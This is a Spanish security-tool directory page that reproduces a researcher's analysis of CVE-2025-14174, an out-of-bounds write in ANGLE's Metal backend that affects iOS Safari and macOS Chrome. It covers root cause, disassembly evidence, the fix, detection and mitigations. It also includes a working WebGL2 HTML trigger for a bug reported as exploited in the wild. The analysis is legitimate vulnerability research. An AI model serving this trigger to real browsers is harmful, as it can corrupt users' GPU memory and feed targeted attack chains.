Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-14174-analysis — Análisis y PoC para CVE-2025-14174 - escritura OOB en ANGLE Metal (iOS Safari, macOS Chrome) | Kitploit
Herramientas/GitHubGitHub/typeconfused/cve-2025-14174-analysis
Seguridad iOSAnálisis de VulnerabilidadesExplotaciónSeguridad WebSeguridad MóvilSeguridad de HardwareAnálisis de Binarios
GitHubtypeconfused/cve-2025-14174-analysis

CVE-2025-14174-analysis

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Análisis y PoC para CVE-2025-14174 - escritura OOB en ANGLE Metal (iOS Safari, macOS Chrome)

Ver Repositorio
11hace 7 mesesAún no revisado

Análisis de CVE-2025-14174: Escritura fuera de límites en el búfer de staging de ANGLE Metal

Análisis técnico y prueba de concepto para CVE-2025-14174

CVECVE-2025-14174
GravedadAlta
Explotado ITWSí: ataques dirigidos a iOS < 26
AfectadosSafari en iOS, Chrome/Chromium/Electron en macOS (no Safari en macOS)
EstadoParcheado en el commit 95a32cb de ANGLE
CréditosApple, Google Threat Analysis Group

Explotación In-the-Wild

Según Apple, CVE-2025-14174 fue explotado como parte de un "ataque extremadamente sofisticado contra individuos específicamente seleccionados" en versiones de iOS anteriores a iOS 26.

La cadena de ataque incluía:

  • CVE-2025-14174 (este análisis) - escritura OOB en ANGLE Metal
  • CVE-2025-43529 (WebKit Bug 302502) - use-after-free en WebKit

Tabla de Contenidos

  • Resumen
  • Plataformas Afectadas
  • Impacto
  • Causa Raíz
  • Condiciones de Activación
  • Análisis Técnico
  • Prueba de Concepto
  • La Corrección
  • Notas de Detección
  • Mitigaciones
  • Referencias

Resumen

Existe una vulnerabilidad de escritura fuera de límites (OOB) en el backend Metal de ANGLE al cargar texturas de profundidad mediante un búfer de staging. El tamaño del búfer de staging se calcula usando GL_UNPACK_IMAGE_HEIGHT en lugar de la altura real de la textura. Cuando UNPACK_IMAGE_HEIGHT < height, ANGLE asigna un búfer de tamaño insuficiente y posteriormente escribe height filas en él, causando una corrupción de memoria de la GPU en el proceso del renderizador.


Plataformas Afectadas

Esta vulnerabilidad afecta a las aplicaciones que usan el backend Metal de ANGLE para WebGL:

Detalles de Plataforma

Safari en iOS está afectado. En iOS, WebKit usa ANGLE como backend de WebGL, lo que hace vulnerables a Safari en iPhone y iPad.

Safari en macOS NO está afectado. En macOS, Safari usa la implementación nativa de WebGL de WebKit que interactúa directamente con Metal, omitiendo ANGLE por completo.

Chrome en macOS está afectado. Google Chrome ejecutándose en macOS 26.1 parecía vulnerable durante las pruebas, ya que usa el backend Metal de ANGLE para WebGL.

La ruta de código vulnerable existe en la clase TextureMtl de ANGLE (setSubImageImpl / setPerSliceSubImage / SaturateDepth).


Impacto

GravedadDescripción
ConfirmadoEscritura del backend GPU/Metal más allá del final del búfer de staging

Características clave:

  • El error es silencioso en WebGL (normalmente devuelve NO_ERROR)
  • No hay artefactos de renderizado visibles en la mayoría de los casos
  • Las capas de validación de Metal pueden no detectar el desbordamiento
  • Potencial de inestabilidad o explotación del proceso de GPU dependiendo del diseño del heap

Causa Raíz

En la ruta de carga de texturas de profundidad D32F, ANGLE calcula pixelsDepthPitch a partir de GL_UNPACK_IMAGE_HEIGHT y usa este valor para dimensionar el MTLBuffer de staging. Sin embargo, el envío de cómputo posterior (saturación de profundidad) usa la altura real de la textura para la operación, lo que causa una escritura OOB cuando los parámetros difieren.

Ejemplo de Desajuste de Tamaño

Para width=1, height=512, UNPACK_IMAGE_HEIGHT=128, DEPTH_COMPONENT32F:


Condiciones de Activación

Todas las siguientes condiciones deben cumplirse:

  1. Contexto WebGL2 (requerido para soporte de PBO)
  2. Formato de textura de profundidad DEPTH_COMPONENT32F (verificado; otros formatos de profundidad también podrían verse afectados pero no han sido probados)
  3. Pixel Buffer Object (PBO) vinculado a PIXEL_UNPACK_BUFFER
  4. GL_UNPACK_IMAGE_HEIGHT establecido a un valor menor que la altura real de la textura
  5. Backend Metal de ANGLE activo (Safari en iOS, o Chrome/Chromium/Electron en macOS)

Por Qué WebGL No lo Bloquea

GL_UNPACK_IMAGE_HEIGHT está definida por la especificación de GL para afectar a las cargas de texturas 3D/array, no a texturas 2D. Para TEXTURE_2D:

  • El parámetro se acepta pero no participa en la validación de WebGL
  • WebGL no rechaza UNPACK_IMAGE_HEIGHT < height para texturas 2D
  • ANGLE usa incorrectamente este parámetro para dimensionar el búfer de staging para cargas de profundidad

Análisis Técnico

Cadena de Llamadas Vulnerable

root@kitploit:~
WebGL API
├── gl.pixelStorei(UNPACK_IMAGE_HEIGHT, small_value)
├── gl.bindBuffer(PIXEL_UNPACK_BUFFER, pbo)
└── gl.texImage2D(TEXTURE_2D, 0, DEPTH_COMPONENT32F, w, h, ...)
    │
    ▼
ANGLE (Metal Backend)
├── TextureMtl::setImageImpl
│   └── TextureMtl::setSubImageImpl
│       └── Computes pixelsDepthPitch = rowPitch × UNPACK_IMAGE_HEIGHT
│
├── TextureMtl::setPerSliceSubImage
│   └── mtl::Buffer::MakeBufferWithStorageMode(context, 0, pixelsDepthPitch, ...)  ← UNDERSIZED
│
└── SaturateDepth
    ├── getComputeCommandEncoder()
    ├── setBuffer(stagingBuffer, index=2)
    └── dispatchThreads(MTLSize{width, actualHeight})  ← USES REAL HEIGHT

Evidencia Binaria (iOS 26.1)

root@kitploit:~
; setSubImageImpl - compute undersized depthPitch
0x272fa90f4: ldr  w8, [x25, #0x10]     ; load UNPACK_IMAGE_HEIGHT
0x272fa9100: umull x3, w2, w8          ; depthPitch = rowPitch * UNPACK_IMAGE_HEIGHT

; setPerSliceSubImage - call MakeBufferWithStorageMode with undersized depthPitch
0x272fac5bc: mov  x2, x19              ; x2 = size (undersized depthPitch)
0x272fac5c4: bl   #0x272ef19bc         ; call MakeBufferWithStorageMode

Evidencia Binaria (macOS 26.1)

root@kitploit:~
; setSubImageImpl - compute undersized depthPitch
0x22c6d11c0: ldr  w8, [x25, #0x10]     ; load UNPACK_IMAGE_HEIGHT
0x22c6d11cc: umull x3, w2, w8          ; depthPitch = rowPitch * UNPACK_IMAGE_HEIGHT

; setPerSliceSubImage - call MakeBufferWithStorageMode with undersized depthPitch
0x22c6d461c: ldr  x20, [sp, #0x48]     ; load depthPitch from stack
0x22c6d4628: bl   MakeBufferWithStorageMode

La función SaturateDepth posteriormente envía un shader de cómputo de Metal usando las dimensiones reales de la textura, escribiendo más allá del búfer de staging de tamaño insuficiente.


Prueba de Concepto

Disparador Mínimo (WebGL2)

root@kitploit:~
<!DOCTYPE html>
<html>
<head><title>CVE-2025-14174 PoC</title></head>
<body>
<canvas id="c" width="1" height="1"></canvas>
<script>
const gl = document.getElementById('c').getContext('webgl2');
if (!gl) throw new Error('WebGL2 not supported');

const width = 256, height = 256;
const unpackHeight = 16;  // << smaller than actual height

// Create PBO with depth data
const pbo = gl.createBuffer();
gl.bindBuffer(gl.PIXEL_UNPACK_BUFFER, pbo);
const data = new Float32Array(width * height);
gl.bufferData(gl.PIXEL_UNPACK_BUFFER, data, gl.STATIC_DRAW);

// Set the mismatch parameter
gl.pixelStorei(gl.UNPACK_IMAGE_HEIGHT, unpackHeight);

// Upload depth texture - triggers OOB write
const tex = gl.createTexture();
gl.bindTexture(gl.TEXTURE_2D, tex);
gl.texImage2D(
    gl.TEXTURE_2D, 0, gl.DEPTH_COMPONENT32F,
    width, height, 0,
    gl.DEPTH_COMPONENT, gl.FLOAT, 0
);

// Check for errors (typically returns NO_ERROR despite OOB)
const err = gl.getError();
console.log('gl.getError():', err === gl.NO_ERROR ? 'NO_ERROR' : err);
</script>
</body>
</html>

Resultado esperado en sistemas vulnerables: gl.getError() devuelve NO_ERROR a pesar de que la escritura OOB ocurre en el proceso de la GPU.


La Corrección

El commit 95a32cb de ANGLE corrige la asignación del búfer de staging para usar las dimensiones reales de la textura:

root@kitploit:~
// BEFORE (vulnerable)
ANGLE_TRY(mtl::Buffer::MakeBuffer(contextMtl, pixelsDepthPitch, nullptr, &stagingBuffer));

// AFTER (fixed)
size_t imageSize = pixelsRowPitch * mtlArea.size.height;
ANGLE_TRY(mtl::Buffer::MakeBuffer(contextMtl, imageSize, nullptr, &stagingBuffer));

Además, se corrigió el cálculo de srcBytesPerImage para la operación de blit:

root@kitploit:~
size_t srcBytesPerImage = mtlArea.size.depth > 1 ? pixelsDepthPitch : 0;

Notas de Detección

Esta vulnerabilidad es difícil de detectar desde JavaScript:

  • Los búferes de staging son recursos internos de Metal en el proceso de la GPU
  • WebGL normalmente devuelve NO_ERROR incluso cuando el error se dispara
  • Las capas de validación de Metal pueden no señalar el desbordamiento
  • No hay artefactos de renderizado visibles en la mayoría de los casos
  • Requiere instrumentación de llamadas a la API de Metal o depuración de memoria de la GPU

Mitigaciones

EnfoqueDescripción
ActualizaciónAplicar las actualizaciones de plataforma que contienen la corrección de ANGLE
Solución alternativa

Referencias

  • Corrección de ANGLE: https://chromium.googlesource.com/angle/angle/+/95a32cb
  • Error de Chromium: https://issues.chromium.org/issues/466192044
  • Error de WebKit (CVE-2025-43529): https://webkit.org/b/302502
  • Plataformas afectadas:
    • iOS: Safari (WebKit usa ANGLE Metal)
    • macOS: Chrome, Chromium, Electron (usan ANGLE Metal)

Créditos

Descubrimiento de la vulnerabilidad: Apple, Google Threat Analysis Group

Análisis técnico: Este informe documenta investigación independiente e ingeniería inversa de la vulnerabilidad.


Análisis realizado como parte del proyecto de investigación de seguridad SpiderWebKit.

Descargar herramienta
PlataformaSoftwareAfectadoNotas
iOSSafariSíWebKit en iOS usa ANGLE Metal para WebGL
macOSChrome / ChromiumSíUsa el backend Metal de ANGLE
macOSapps ElectronSíUsa la implementación de ANGLE de Chromium
macOSSafariNoUsa el WebGL Metal nativo de WebKit, no ANGLE
ConfirmadoReproducible mediante WebGL2 + PBO + DEPTH_COMPONENT32F
PlausibleCaída del proceso de GPU o pérdida de contexto bajo presión de memoria
TeóricoCorrupción entre recursos en la memoria de la GPU (no demostrada)
ParámetroCálculoValor
Pitch de filawidth * sizeof(float)4 bytes
Búfer de staging (asignado)rowPitch * UNPACK_IMAGE_HEIGHT512 bytes
Envío de cómputo (escrito)rowPitch * actualHeight2048 bytes
Escritura OOB2048 - 5121536 bytes
FunciónDirecciónRol
setSubImageImpl0x272fa9028Calcula depthPitch de tamaño insuficiente
setPerSliceSubImage0x272fac240Asigna un búfer de staging de tamaño insuficiente
MakeBufferWithStorageMode0x272ef19bcCrea MTLBuffer con tamaño incorrecto
SaturateDepth0x272facfa4Envía cómputo con dimensiones reales
FunciónDirecciónRol
setSubImageImpl0x22c6d10f4Calcula depthPitch de tamaño insuficiente
setPerSliceSubImage0x22c6d4398Asigna un búfer de staging de tamaño insuficiente
MakeBufferWithStorageMode0x22c619490Crea MTLBuffer con tamaño incorrecto
SaturateDepth0x22c6d5144Envía cómputo con dimensiones reales
Evitar establecer UNPACK_IMAGE_HEIGHT menor que la altura real para texturas de profundidad
Defensa en profundidadUsar cargas de tamaño fijo donde UNPACK_IMAGE_HEIGHT == height